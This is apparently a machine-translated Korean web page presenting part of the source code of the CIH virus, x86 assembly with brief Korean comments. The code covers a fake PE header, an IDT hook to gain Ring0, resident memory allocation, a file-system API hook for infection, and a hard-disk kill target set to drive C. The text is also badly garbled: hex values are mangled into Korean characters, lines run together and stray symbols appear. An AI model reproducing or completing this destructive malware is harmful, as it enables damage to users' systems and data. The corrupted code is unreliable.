바이러스 프로그램 소스코드 예시 분석 - CIH 바이러스[2]
OriginalAppEXE SEGMENT
;PE 형식 실행 파일 헤더
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 0 04h, 00시, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 00 0시, 000시, 000시, 000시, 080시 , 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 68시간 DB 061시간, 06DH, 0 20h, 063h, 061h, 06eh, 06eh , 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 🎜> db 06dh, 06fh, 064h, 065h, 어, 00dh, 00dh, 00ahdb 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 35시, 000시, 000시, 000시, 000시
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h h, 001h, 005h, 000h, 000h, 010h , 000h, 000h
db 000h, 000h, 시, 000시, 000시, 000시, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, h, 000h
db 004h, 000h , 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 시, 000시, 002시, 000시, 000시
db 000h, 000h, 000h, 000h, 002h , 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 시, 010시, 000시, 000시, 010시 , 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000시, 000시, 000시
db 000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h , 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000시, 000시, 000시
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000, 0시, 000시, 000시, 000시, 000시 , 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h , 000h, 000h, 000h, h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 00 0h, 010h, 000h, 000h, 000시, 010시, 000시, 000시
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 00 0시, 000시, 000시, 000시,
db 000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0시, 000시, 000시 DB 000시, 000시 , 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h , 000h, 000h, 000h, 00시, 000시, 000시, 000시
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h , 000h, 000h, 000h, 000h, 000h , 000h
db 000h, 000시, 000시, 000시, 000시, 000시 , 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
; 바이러스 프로그램 시작됨
TRUE = 1
FALSE = 0
DEBUG = FALSE
; 버전 번호를 1.4로 표시합니다.
MajorVirusVersion = 1; MinorVirusVersion = 4;
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion; 합성 버전 번호
IF DEBUG;디버깅할지 여부
FirstKillHardDiskNumber = 81h;D 드라이브 삭제
HookExceptionNumber = 05h ; 인터럽트 번호 5 사용
ELSE
FirstKillHardDiskNumber = 80h ; C 드라이브 삭제
HookxceptionNumber = 03h ; 인터럽트 번호 3 사용
ENDIF
FileNameBufferSize = 7fh
; 바이러스 코드 세그먼트 시작
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
> MyVirusStart :
push ebp
; 오류 메시지 생성을 방지하기 위해 시스템 예외 처리 수정
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax , fs: [ebx]
call @0
@0:
pop ebx; 이 오프셋 + 상대 오프셋을 사용하여 절대 주소
lea를 얻습니다. ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
가장 높은 Ring0 수준 권한을 얻기 위해 인터럽트 설명 테이블을 수정합니다.
push eax
sidt [esp- 02h] ; ebx에 대한 인터럽트 설명 테이블의 기본 주소 가져오기
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ebx에 사용할 인터럽트의 기본 주소 계산
cli ;수정하기 전에 인터럽트 끄기
esi, MyExceptionHook-@1[ecx]
push esi는 바이러스 인터럽트 루틴 주소입니다.
mov [ebx-04h] , si;
shr esi, 16; 예외 수정
mov [ebx+02h], si ; 바이러스 인터럽트 루틴을 가리키도록 인터럽트 기본 주소 수정
pop esi
🎜> ; 링0 레벨에 진입하는 예외 생성
int HookExceptionNumber ; 링0 레벨에 진입하는 것을 중단합니다.
ReturnAddressOfEndException = $
모든 바이러스 코드 병합
push esi
mov esi, eax; esi는 바이러스의 시작 부분을 가리킵니다
; Loop Copy
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb ; 할당된 시스템 메모리의 첫 번째 주소
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection; ZF = 1
jmp LoopOfMergeAllVirusCodeSection; 다음 단락
QuitLoopOfMergeAllVirusCodeSection:
pop esi
int HookExceptionNumber
; 예외 처리 저장
ReadyRestoreSE:
sti;오픈 인터럽트
xor ebx, ebx , 바이러스 실행이 중지되고 원래 프로그램으로 바로 이동합니다.
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp , [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; 원래 프로그램으로 점프하여 정상적으로 실행
pop ebp
push 00401000h; 원본 프로그램 푸시
OriginalAddressOfEntryPoint = $-4;원래 프로그램의 시작 주소를 스택에 푸시
ret;서브루틴 반환으로 원본 프로그램의 시작 부분으로 돌아갑니다
; 바이러스 초기화 모듈
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook; 바이러스 코드가 복사된 경우
; 프로그램으로 이동하여 시스템 후크 설치
mov ecx , dr0 ; dr0이 설정되었는지 확인합니다(dr0은 바이러스 상주 플래그입니다)
jecxz AllocateSystemMemoryPage ; 설정되지 않은 경우 시스템 메모리 할당
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
원래 프로그램으로 돌아가기
ExitRing0Init:
mov [ebx-04h], bp
shr ebp, 16 ; 복원 예외
mov [ebx+02h], bp ; 원본 인터럽트 기본 주소
iretd;인터럽트 반환
;사용할 시스템 메모리 할당
AllocateSystemMemoryPage:
mov dr0, ebx;바이러스 상주 dr0 플래그 설정
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;호출 방법 ULONG EXTERN _PageAllocate(ULONG nPages,
;ULONG pType, ULONG VM, ULONG AlignMask, ULONG minPhys,
, ULONG *PhysAddr,ULONG 플래그)
push ecx ;
push 000000002h ; int 20h ; >dd 00010053h;eax, ecx, edx 및 플래그 레지스터 사용
add esp, 08h*04h;스택 포인터 복원
xchg edi, eax;edi는 할당된 시스템 메모리의 첫 번째 주소를 가리킴
lea eax , MyVirusStart-@2[esi] ;eax는 바이러스의 시작을 가리킵니다
iretd ;인터럽트 종료
; 파일 시스템 후크 초기화
InstallMyFileSystemApiHook:
lea eax , FileSystemApiHook-@6 [edi] ;파일 시스템 후크 프로그램의 첫 번째 주소를 가리킵니다
push eax;
int 20h; Vxd는 IFSMgr_InstallFileSystemApiHook를 호출합니다
IFSMgr_InstallFileSystemApiHook = $
dd 0040006 7시간; eax, ecx, edx 및 플래그 레지스터 사용
mov dr0, eax; 원본 파일 시스템 후크 프로그램 첫 번째 주소를 dr0에 저장
pop eax;eax는 파일 시스템 후크 프로그램 첫 번째 주소와 같습니다
;원래 IFSMgr_InstallFileSystemApiHook 함수 호출 항목 저장
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx는 IFSMgr_InstallFileSystemApiHook의 항목입니다
mov OldInstallFileSystemApiHook-@3[ eax], edx
; IFSMGR_INSTALLFILESYSTEMAPIHOOK 입구 수정
Lea Eax, InstallfileSystemapihook-@3 [Eax]
MOV [ECX], Eax
;
위 내용은 바이러스 프로그램 소스코드 예제 분석-CIH 바이러스[2]의 내용이며, 더 많은 관련 내용은 PHP 중국어 홈페이지(www.php.cn)를 참고하시기 바랍니다. )!